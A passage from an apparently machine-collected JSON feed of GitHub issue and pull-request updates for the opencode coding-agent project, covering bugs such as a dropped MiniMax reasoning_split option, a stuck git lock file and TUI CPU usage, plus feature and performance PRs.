\"reasoning\": true, \"request\": { \"variant\": \"thinking\" }, \"variants\": { \"thinking\": { \"thinking\": { \"type\": \"adaptive\" }, \"reasoning_split\": true } } } } } } } ``` Expected behavior The HTTP body sent to https://api.minimaxi.com/v1/chat/completions should include both thinking: { type: \"adaptive\" } and reasoning_split: true because both come from the active thinking variant. With reasoning_split: true, MiniMax's OpenAI-compatible API returns: - delta.reasoning_content (clean thinking text) - delta.content (only the actual response, no <think>...</think> tags) Actual behavior The request body only contains thinking: { type: \"adaptive\" }. reasoning_split is missing. Because reasoning_split: true is not sent, MiniMax returns the model output with <think>...</think> blocks embedded directly in delta.content, while the parallel delta.reasoning / delta.reasoning_content fields stay empty or duplicated. End result: opencode shows the thinking text in the visible content of the assistant message instead of as a separate reasoning block. How I confirmed this is an opencode bug, not MiniMax / AI SDK 1. Direct AI SDK test (works correctly): import { createOpenAICompatible } from '@ai-sdk/openai-compatible' const oai = createOpenAICompatible({ name: 'minimax', baseURL: 'https://api.minimaxi.com/v1', apiKey: '...' }) const result = await oai('MiniMax-M3').doGenerate({ prompt: [{ role: 'user', content: [{ type: 'text', text: '一句话hi' }] }], maxOutputTokens: 100, temperature: 1, providerOptions: { minimax: { thinking: { type: 'adaptive' }, reasoning_split: true } } }) console.log(result.request.body) // → {\"model\":\"MiniMax-M3\",\"max_tokens\":100,\"temperature\":1, // \"thinking\":{\"type\":\"adaptive\"},\"reasoning_split\":true,\"messages\":[...]} The SDK puts both fields in the body and the response is split cleanly. 2. Reverse-engineering the 1.18.16 binary shows ProviderTransform.providerOptions produces { [X]: Y } where X is the provider slug and Y is the merged options. For an openai-compatible provider named minimax-openai, this should resolve to { minimax: { …, thinking, reasoning_split } }. I could not locate an exact point in the v1 path that strips the variant body, but the body that opencode ultimately sends to MiniMax is provably missing reasoning_split. 3. Same v1 path correctly emits other variant fields like thinking: { type: \"adaptive\" } — so the variant is being read; something downstream selectively drops reasoning_split. Likely root cause (to investigate) packages/opencode/src/provider/transform.ts → providerOptions returns the merged options, which is then handed to streamText as providerOptions.minimax = { thinking, reasoning_split, … }. The AI SDK's getArgs for @ai-sdk/openai-compatible (in the bundled binary) builds the body with: ...Object.fromEntries( Object.entries({ ...B[this.providerOptionsName], ...B[h(this.providerOptionsName)] }).filter(([d]) => !Object.keys(g.shape).includes(d)) ) with g.shape = { user, reasoningEffort, textVerbosity, strictJsonSchema }. So reasoning_split should pass through, and my standalone test confirms it does. The discrepancy suggests one of: - The providerOptions actually being passed to streamText from the v1 path does not contain reasoning_split (lost earlier in the request.ts → ProviderTransform.providerOptions chain). - Or the AI SDK bundle version inside 1.18.16 differs from the one I tested and has a stricter filter. I'd appreciate maintainer eyes on the v1 LLMRequestPrep.prepare → ProviderTransform.providerOptions chain (packages/opencode/src/session/llm/request.ts line 80–91, packages/opencode/src/provider/transform.ts line 1360). Workaround (until fixed) 1. Switch the model to a provider that natively understands the model's thinking protocol (e.g. @ai-sdk/anthropic against MiniMax's Anthropic-compatible endpoint https://api.minimaxi.com/anthropic). That endpoint returns structured thinking blocks and does not require reasoning_split. 2. Or opt into the v2 native runtime with OPENCODE_EXPERIMENTAL_NATIVE_LLM=1 and put body fields directly under request.body (the v2 path's withDefaults in packages/core/src/session/runner/model.ts propagates model.request.body to http.body). Reproduction # Use the config above, then: opencode run --model \"minimax-openai/MiniMax-M3\" --variant thinking \"一句话hi\" # In the response you will see <think>...</think> in the assistant content, # which should not happen when reasoning_split: true is honored. Impact - Affects all openai-compatible providers where the upstream model needs extra body fields (e.g. reasoning_split, enable_thinking, chat_template_kwargs, custom vendor flags) configured via variants in opencode. - The fields silently disappear — no warning, no error in the log. - The model still works (it just returns thinking in a different shape), so users may not notice unless they inspect raw response content. --- ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42300",
          "createdAt": "2026-08-13T10:12:24Z",
          "updatedAt": "2026-08-13T12:18:10Z",
          "timestamp": "2026-08-13T12:18:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "josedeng-aaxis",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e2775abe18a401d3715e",
        "signalId": "github:anomalyco/opencode:issue:23445",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:23445",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "LM Studio: First prompt in new session processed twice, causing phantom generation & slowdown",
          "text": "### Description <img width=\"1394\" height=\"953\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/0418c939-e71c-4239-864a-8d9a0c013612\" /> <img width=\"1402\" height=\"961\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/9228a11b-d79c-4357-ad4e-3a5fe13c274d\" /> When creating a new session (/new) and submitting the first prompt, the input is always processed twice at once. Once the model completes its reply, an additional phantom process continues generating output into nowhere. This bug clears after the first exchange, but during that initial turn, it halves both reading and response generation speeds :( ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/23445",
          "createdAt": "2026-04-19T20:36:57Z",
          "updatedAt": "2026-08-13T12:06:35Z",
          "timestamp": "2026-08-13T12:06:35Z",
          "metrics": {
            "reactions": 1,
            "comments": 5
          },
          "labels": [
            "bug",
            "core"
          ],
          "author": "lobanov-coder",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0c2d5e451c36c0440078",
        "signalId": "github:anomalyco/opencode:issue:7602",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:7602",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Native Model Fallback / Failover Support",
          "text": "## Problem OpenCode supports: - Provider fallback **only** when the model ID is the same - Static agent-level model overrides There is **no way to define fallback between different models**, e.g.: > “If model A errors or rate-limits → automatically retry with model B” This causes long-running agent workflows to fail on transient provider/model issues and forces users to rely on external routers or proxies (like litellm). --- ## Request Add **first-class model fallback support** to OpenCode. ### Example (global) ```jsonc { \"models\": { \"coder\": { \"fallback\": [ \"anthropic/claude-3.5-sonnet\", \"openai/gpt-4o\", \"deepseek/deepseek-r1\" ] } } } ``` ### Example (agent-level) ```jsonc { \"agents\": { \"build\": { \"model\": { \"fallback\": [\"claude-sonnet\", \"gpt-4o-mini\"] } } } } ``` --- ## Behavior - Switch models on: rate limits, provider/model unavailability, 5xx errors - Do not retry on prompt or validation errors - Optional retry limit --- ## Why in Core - Model routing is an orchestration concern - External routers break plugin auth flows and agent semantics - Complements existing provider-order routing (e.g. #2153) --- ## Status - No existing plugin or PR implements true model fallback Thanks,",
          "url": "https://github.com/anomalyco/opencode/issues/7602",
          "createdAt": "2026-01-10T09:01:08Z",
          "updatedAt": "2026-08-13T12:03:52Z",
          "timestamp": "2026-08-13T12:03:52Z",
          "metrics": {
            "reactions": 107,
            "comments": 30
          },
          "labels": [],
          "author": "arisgrout",
          "state": "open",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cd5b8a070bd4cce727ea",
        "signalId": "github:anomalyco/opencode:pull_request:39807",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:39807",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): show optional daily session cost",
          "text": "### Issue for this PR Related to #39740. Session cost is already visible in the sidebar Context section, but users also need an optional total for all sessions updated today without running `opencode stats --days 1`. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds an optional Today cost below the existing session spend in the sidebar Context section. The footer is unchanged. The display is: ```text $0.21 spent $0.56 today ``` When the current session's model has no pricing information (e.g. a custom model without a `cost` entry in the catalog or config), the spent line reads `N/A spent` instead of `$0.00 spent`, since the true cost cannot be derived. The footer session-cost display is unchanged. Today is calculated from every session in the shared local database updated since local midnight. It is therefore shared across concurrently running OpenCode terminals and each Context view refreshes it every 30 seconds. The current session spend is fetched from the persisted session record as well. If a value cannot be fetched, it is omitted. The Today line is disabled by default and appears only when `show_today_cost` is set to `true`. Create `~/.config/opencode/tui.json` if it does not exist: ```json { \"$schema\": \"https://opencode.ai/tui.json\", \"show_today_cost\": true } ``` A project-local `.opencode/tui.json` can also be used. The daily aggregation is exposed through the typed session API and does not shell out to `opencode stats --days 1`. ### Why the diff touches so many files The hand-written change is small: the endpoint (`packages/protocol/src/groups/session.ts`, `packages/server/src/handlers/session.ts`, `packages/core/src/session.ts`), the TUI config flag, and the sidebar Context view (including the `N/A spent` fallback). Everything else is regenerated output: - `packages/client/src/generated-effect/client.ts` and `packages/client/src/generated/*.ts` — generated by `@opencode-ai/httpapi-codegen` (`// Do not edit` header), adding the typed `session.cost` client method. The endpoint is registered last in the session group so the generator's positional `Endpoint3_N` constants keep their existing names and the generated diff is append-only. Route matching is unaffected: the router (`find-my-way-ts`) prioritizes the static `/api/session/cost` segment over `/api/session/:sessionID` regardless of registration order. - `packages/sdk/js/src/v2/gen/*.ts` — the hey-api codegen adding the same `cost()` method to the SDK. - `packages/plugin/src/tui.ts` — the `TuiConfigView` type gains the resolved `show_today_cost` field so plugins see the setting. - `packages/opencode/src/cli/cmd/stats.ts` — refactored to reuse the new `sumSessionCosts` helper instead of accumulating cost inline (same output, one code path for cost summation). Note on attribution: the total sums the full `cost` of every session with `time_updated` since local midnight. A long-running session that started yesterday and is touched today counts its entire cost toward today. This is a deliberate simplification for a glanceable stat; exact per-day attribution would require message-level aggregation. ### How did you verify your code works? - `bun typecheck` passed in `packages/plugin`, `packages/sdk/js`, and `packages/tui`. - The focused session-cost test passed. - Built and smoke-tested the local Linux binary with `--version`. - Rebased onto the latest `origin/dev` before updating this PR. - Confirmed the sidebar shows `N/A spent` when the session model has no pricing and the currency amount when it does. The repository-wide pre-push typecheck is currently blocked by unrelated AWS stats client type errors and a Bun/tsgo segmentation fault. ### Screenshots / recordings This is a terminal UI change. Expected sidebar Context output with the setting enabled: ```text Context 12,345 tokens 42% used $0.21 spent $0.56 today ``` For a model without pricing information: ```text Context 12,345 tokens 42% used N/A spent ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/39807",
          "createdAt": "2026-07-31T04:40:41Z",
          "updatedAt": "2026-08-13T12:03:50Z",
          "timestamp": "2026-08-13T12:03:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "zbcoding",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f172b6306175f46af0e0",
        "signalId": "github:anomalyco/opencode:pull_request:42311",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42311",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore(catalog): remove wrangler state",
          "text": "## Summary - remove checked-in Miniflare cache database files - ignore catalog-local `.wrangler` runtime state ## Checks - `git diff --check` - `git check-ignore -v packages/lab/catalog/.wrangler/example.sqlite` Requested by: @kitlangton (Kit Langton via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42311",
          "createdAt": "2026-08-13T12:02:33Z",
          "updatedAt": "2026-08-13T12:02:43Z",
          "timestamp": "2026-08-13T12:02:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b2cbbada96c567778bf1",
        "signalId": "github:anomalyco/opencode:pull_request:42310",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42310",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): cascade auto permissions to subagent sessions",
          "text": "### Issue for this PR Fixes #41730 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When `opencode run --auto` spawns a subagent via the `task` tool, the subagent's permission requests are emitted with the child session ID. The non-interactive event loop in `run.ts` filtered `permission.asked` events by the top-level session ID, so child-session requests were silently dropped — the subagent blocked forever on `Deferred.await` and the process hung. This removes the session-ID filter from the `permission.asked` handler so that permission requests from any session in the tree (parent or subagent children) are replied to. With `--auto`, subagent permissions are auto-approved; without `--auto`, they are auto-rejected instead of hanging. ### How did you verify your code works? Two subprocess regression tests in `test/cli/run/run-process.test.ts`: 1. `--auto approves permissions requested by subagent sessions` — spawns a subagent that calls `bash` with `ask` permission under `--dangerously-skip-permissions`; asserts exit 0 and the parent completes. 2. `subagent permissions are auto-rejected without --auto` — same scenario without `--auto`; asserts exit 0 and stderr contains `auto-rejecting`. Both tests use the existing CLI subprocess harness with a mock LLM server. Without the fix, both tests hang until the timeout. `bun typecheck` passes clean. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42310",
          "createdAt": "2026-08-13T12:00:20Z",
          "updatedAt": "2026-08-13T12:01:19Z",
          "timestamp": "2026-08-13T12:01:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:77c18da4338c9b1b9e37",
        "signalId": "github:anomalyco/opencode:pull_request:42309",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42309",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): report config parse errors against the original text",
          "text": "### Issue for this PR Closes #42308 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Config is loaded by substituting `{env:...}` / `{file:...}` first and parsing the result, so when parsing fails `jsonc()` quotes back the substituted text - the one that has the real values in it. `jsonc()` now takes the pre-substitution text as an optional third argument and reports against that instead: - if the file itself has the syntax error (the common case - a missing comma), it is re-parsed and quoted as written, so placeholders stay placeholders and the positions point into the file the user actually edited - if the file parses fine, then a substituted value is what broke the JSON. There is nothing useful to point at without printing that value, so it gets a fixed message instead The third argument is optional and the other callers don't pass it, so their behaviour is unchanged. `tui.json` goes through the same function, and its failure is reported with `Effect.logWarning`, so it also ends up in `~/.local/share/opencode/log/opencode.log`. ### How did you verify your code works? Two tests in `packages/opencode/test/config/config.test.ts`, next to the existing `preserves env variables when adding $schema to config`. Both fail on `dev` - the first one shows `\"username\": \"secret_value\"` in the error output - and pass here. ``` cd packages/opencode bun test test/config/ # 185 pass, 3 skip, 0 fail (183 on dev, +2 new) bun test test/cli/error.test.ts # 6 pass ``` Also checked against the real CLI with a config that has a syntax error and `\"apiKey\": \"{env:DEMO_KEY}\"`: before, the quoted block contains the key; after, it shows `{env:DEMO_KEY}`. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42309",
          "createdAt": "2026-08-13T11:59:44Z",
          "updatedAt": "2026-08-13T11:59:44Z",
          "timestamp": "2026-08-13T11:59:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:02398e303bc0cbf879dc",
        "signalId": "github:anomalyco/opencode:issue:42304",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42304",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": ".git/index.lock stuck with \"Resource busy\" (EBUSY) — opencode holds `.git` dir open on encrypted APFS volume",
          "text": "### Description ## What happened While working in a repository on an encrypted APFS volume, opencode performed git operations (status/diff/log, then later a commit attempt). A `.git/index.lock` file appeared and became permanently stuck: - `rm`, `mv`, and `python os.unlink()` on `.git/index.lock` all fail with `Resource busy` (errno 16 / EBUSY). - `lsof .git/index.lock` (and a search by inode) reports **no** holder. - The lock file is **0 bytes**. ## Evidence / diagnosis - The opencode process holds the repository root and the `.git` directory open as **directory file descriptors** (e.g. `49r`, `54r`, `55r` → `.git` and repo cwd), even when it is not actively running a git command. - The 0-byte lock suggests a git process created it via `O_CREAT|O_EXCL` and was interrupted before writing its content. - On this encrypted APFS volume, unlinking a file inside a directory that another process keeps open (combined with fseventsd/mds activity) returns EBUSY, so the lock cannot be cleared without terminating the holder. ## Workaround Bypassed the lock by pointing git at a temporary index file: ``` export GIT_INDEX_FILE=/tmp/idx-myproject git read-tree HEAD git add <file> git write-tree git commit-tree <tree> -p HEAD git update-ref HEAD <commit> ``` This works, but every subsequent normal `git` invocation inside the repo still hits the stuck lock. ## Questions / requested behavior 1. Does opencode keep the `.git` directory open as a directory watcher? If so, is it expected that this prevents `.git/index.lock` from being unlinked on macOS? 2. Should opencode clean up stray `.git/index.lock` files (or detect a dead lock) before running git operations? 3. Any known interaction with encrypted APFS volumes causing EBUSY on unlink? ### Plugins _No response_ ### OpenCode version 1.18.18 (installed via Homebrew, `/opt/homebrew/bin/opencode`) ### Steps to reproduce 1. On macOS, clone a repository onto an **encrypted APFS volume** (Cryptomator WebDav) (`/Volumes/CRYPT/...`). 2. Open the repo with opencode (`opencode`, v1.18.18) and let it run its normal startup git inspection (`git status`, `git diff`, `git log`). 3. Attempt a commit from within the opencode session (e.g. `git add` + `git commit`) while opencode is still running. 4. Interrupt / let the session move on — a `.git/index.lock` file is left behind (0 bytes). 5. Observe: - `ls -la .git/index.lock` → file present, 0 bytes. - `rm .git/index.lock` → `rm: .git/index.lock: Resource busy`. - `python3 -c \"import os; os.unlink('.git/index.lock')\"` → `OSError: [Errno 16] Resource busy`. - `lsof .git/index.lock` → no output (no visible holder). 6. Confirm opencode still holds the `.git` directory open: `lsof -p <opencode-pid> | grep '\\.git'` → DIR fds on `.git` and repo cwd. 7. Any subsequent `git add`/`git commit` inside the repo now fails with `fatal: Unable to create '.../.git/index.lock': File exists.`. av( ### Screenshot and/or share link _No response_ ### Operating System macOS 15.7.9, Apple Silicon ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42304",
          "createdAt": "2026-08-13T10:36:21Z",
          "updatedAt": "2026-08-13T11:50:01Z",
          "timestamp": "2026-08-13T11:50:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "swayll",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ea5945ec98a41da0b190",
        "signalId": "github:anomalyco/opencode:issue:42294",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42294",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request i have made a top up of 10$...but open code go still giving message...free usage expired...what to do now",
          "url": "https://github.com/anomalyco/opencode/issues/42294",
          "createdAt": "2026-08-13T09:23:21Z",
          "updatedAt": "2026-08-13T11:45:56Z",
          "timestamp": "2026-08-13T11:45:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "gelfondnetworkofficial-max",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a359820d6f2b0302dc34",
        "signalId": "github:anomalyco/opencode:issue:42143",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42143",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Why does Opencode require me to subscribe when your official website states it's 100% free?",
          "url": "https://github.com/anomalyco/opencode/issues/42143",
          "createdAt": "2026-08-12T20:34:29Z",
          "updatedAt": "2026-08-13T11:39:46Z",
          "timestamp": "2026-08-13T11:39:46Z",
          "metrics": {
            "reactions": 24,
            "comments": 9
          },
          "labels": [],
          "author": "mahmoud-Web-Developer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:5a2ec442ca8667266604",
        "signalId": "github:anomalyco/opencode:issue:32165",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32165",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:User message quick-jump sidebar",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Description: Add a slim sidebar on the right side of the TUI that lists only the user's own inputs (prompts) from the current conversation as clickable entries. Clicking an entry jumps directly to that message in the chat history. Alternatively: a keyboard shortcut that opens a list of previous user messages within the current session, with an option to jump to any selected message. How this differs from #31633: Issue #31633 proposes a full conversation navigation bar with markers for every message (user, assistant, code blocks, errors). This request is narrower in scope: show only user messages, providing a lightweight \"my prompts\" index without the visual noise of marking every assistant response. Use case: In long multi-turn sessions, scrolling back to find a specific earlier prompt is tedious. A compact list of just your own inputs gives a quick overview and instant navigation.",
          "url": "https://github.com/anomalyco/opencode/issues/32165",
          "createdAt": "2026-06-13T08:44:22Z",
          "updatedAt": "2026-08-13T11:37:28Z",
          "timestamp": "2026-08-13T11:37:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "TutorNachhilfe",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a963c215af1ddea049c7",
        "signalId": "github:anomalyco/opencode:issue:42306",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42306",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI: main thread burns ~100% CPU continuously redrawing a spinner (~15fps writev to tty) with no active output",
          "text": "## Environment - opencode `1.18.18` (npm latest) - Linux x86_64, run in a terminal (`/dev/pts/*`) ## Observed (confirmed via strace + per-thread /proc sampling) - The TUI **main thread** holds ~1 full core (~94-100%) even when the user is not interacting. - `strace` shows the main thread repeatedly calling `writev(1, ...)` writing a ~106-byte spinner frame (~15 fps) to the tty, e.g. `\\x1b[?2026h\\x1b[?25l\\x1b[60;4H\\x1b[38;2;42;67;101m ... \\u2b1d\\u2b1d\\u2b1d ...`. - In the same window there are **no network / disk / log syscalls** — the CPU time is spent between the writes. - Behavior varies by process: in some instances the burn is entirely on the main thread (HeapHelper threads idle), in others HeapHelper threads also show elevated GC activity. ## Why this looks like a bug - Writing a 106-byte frame 15x/s should cost <1% CPU. The ~100% burn is in the rendering/layout work *before* each `writev`, and the spinner appears to keep animating even with no visible active turn, so the render loop never idles. ## Not yet determined (needs a perf profile) - Whether the spinner is \"stuck\" because a background task (e.g. title generation or a hung turn) never completes, **vs.** the render loop simply not being throttled. We did not capture a perf profile, so the exact hot function is unconfirmed. Filing this as a bug report rather than a definitive root cause. ## Impact - Each such session burns ~1 core and makes the terminal feel frozen/hung. We killed several `opencode -c` processes assuming a deadlock before tracing the actual CPU usage. ## Notes - `app_toggle_animations` keybind defaults to `none`, and there is no persistent config option to disable animations. - npm latest is `1.18.18`, so there is no newer version to try as a workaround. Happy to provide full strace output or a perf profile if that helps narrow it down.",
          "url": "https://github.com/anomalyco/opencode/issues/42306",
          "createdAt": "2026-08-13T10:52:44Z",
          "updatedAt": "2026-08-13T11:28:11Z",
          "timestamp": "2026-08-13T11:28:11Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "pudy",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:fdd6b6c6f78c0195c238",
        "signalId": "github:anomalyco/opencode:pull_request:40427",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40427",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "some experimental perf improvements",
          "text": "## TL;DR This is the reduced v2-only performance series. The rebase removed all dev-era legacy-layout, compatibility-client, Home-worker, locale, and profiler changes that do not apply to `v2`. | Area | v2 baseline | PR behavior | | --- | --- | --- | | Session route loading | Session page is in the initial route graph | Canonical session route is a lazy route chunk | | Home to session navigation | Nested lazy content can expose an empty Suspense frame | Router sees the lazy route directly and retains current route during transition | | Restored session startup | App mounts before session route code is ready | Session route preloads behind the existing startup splash | | Home session intent | Session route loads only after navigation | Route warms after Home is usable and idle | | History page size | 200 messages | 50 messages | | History ingestion | Projection continues in the response task | Yields to the main thread before projection | | Renderer highlighting | Pierre can initialize renderer Shiki WASM | Uses worker-side Shiki highlighting | | Completed Markdown | Full completed projection and one large DOM pass | Simpler completed blocks and an 8 ms frame budget | | Composer input | Prompt structure and cursor traverse the editor separately | One editor traversal computes both | ## v2 Rebase | Item | Result | | --- | --- | | Base | `v2` at `47c8d85904` | | Retained commits | 6 | | Changed files | 13 | | Legacy layout commits | Dropped; v2 has already removed the legacy layout | | Compatibility-client workers | Dropped; v2 uses one current generated API | | Home worker/cache fix | Dropped; v2 already keeps its Home index server-wide | | Portable profiler | Dropped; it depended on dev-only desktop hooks and old schema/API behavior | ## Route Stability The canonical route component registered with Solid Router is now the lazy component itself. This lets Router discover the pending module inside its built-in transition instead of committing an eager wrapper and then suspending on nested content. | Path | Behavior | | --- | --- | | Cold Home | Home stays in the initial bundle | | Home idle | Session route starts warming after 1.5 seconds and an idle callback | | Home to session | Existing Home remains visible while the lazy route resolves | | Session tab switch | Loaded session route is reused | | Desktop restored session | Startup splash remains until route preload completes | The route wrapper is small and owns the target-server SDK/sync providers. The full session page remains in the session chunk. ## History | Change | Effect | | --- | --- | | Initial page remains 20 messages | Preserves fast first content | | History pages reduced from 200 to 50 | Bounds response projection and DOM reconciliation | | Main-thread yield before normalization | Gives the browser a paint opportunity before history ingestion | | Updated regression fixture | Covers completion and interruption with the new page size | ## Markdown | Problem | Change | | --- | --- | | Completed Markdown always used the full completed projection | Uses bounded completed top-level blocks unless references require full projection | | Every completed block could update in one task | Updates within an 8 ms budget and continues on the next animation frame | | Superseded rendering could continue | Render generations cancel stale frame work | | Copy controls updated during partial rendering | Final setup runs after block rendering completes | ## Composer The v2 prompt input parser now returns prompt parts and cursor position from one traversal of the contenteditable tree. Cursor-only updates are limited to keys that can move the cursor. ## Validation | Validation | Result | | --- | --- | | Repository pre-push typecheck | 33/33 tasks passed | | App typecheck | Passed | | App E2E typecheck | Passed | | Desktop typecheck | Passed | | Session UI typecheck | Passed | | App unit tests | 675 passed, 13 skipped | | Markdown tests | 24 passed | | Desktop production build | Passed | | History completion regression | Passed | | History interruption regression | Passed on isolated retry | One combined Playwright run hit an existing initial-navigation race in the interruption case before reaching the changed history boundary; the completion case passed, and the interruption case passed when rerun alone.",
          "url": "https://github.com/anomalyco/opencode/pull/40427",
          "createdAt": "2026-08-04T12:20:47Z",
          "updatedAt": "2026-08-13T11:22:03Z",
          "timestamp": "2026-08-13T11:22:03Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [
            "beta"
          ],
          "author": "Hona",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:531b98903f18265af56e",
        "signalId": "github:anomalyco/opencode:issue:42285",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42285",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "On Enhancing AI Programming Assistants: Three Practical Suggestions for Tooling Optimization",
